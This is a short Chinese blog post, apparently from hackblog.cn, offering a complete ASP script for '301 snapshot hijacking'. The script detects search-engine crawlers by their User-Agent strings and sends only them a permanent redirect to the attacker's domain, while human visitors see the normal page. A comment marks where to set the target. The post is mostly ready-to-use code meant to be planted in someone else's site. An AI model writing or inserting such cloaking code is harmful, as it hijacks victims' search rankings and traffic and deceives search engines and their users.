继续完善asp的301快照劫持

<% Function GetLocationURL()  Dim Url  Dim ScriptName,QueryString  ScriptName = Request.ServerVariables("SCRIPT_NAME")  QueryString = Request.ServerVariables("QUERY_STRING") if ScriptName = "/index.asp" then     if QueryString = "" then         GetLocationURL = "/"     else         GetLocationURL = ScriptName&"?"&QueryString     end if else     if QueryString = "" then         GetLocationURL = ScriptName     else         GetLocationURL = ScriptName&"?"&QueryString       end if end if   End Function     If isspider() then     Response.Status="301 Moved Permanently"     Response.AddHeader "Location","http://www.hackblog.cn"& GetLocationURL() '在这里修改要跳转到的网页     Response.End End if    function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360") isspider = false for i=0 to ubound(searray)  if (instr(agent,searray(i))>0) then isspider=true next end function    %>

http://www.hackblog.cn/post/48.html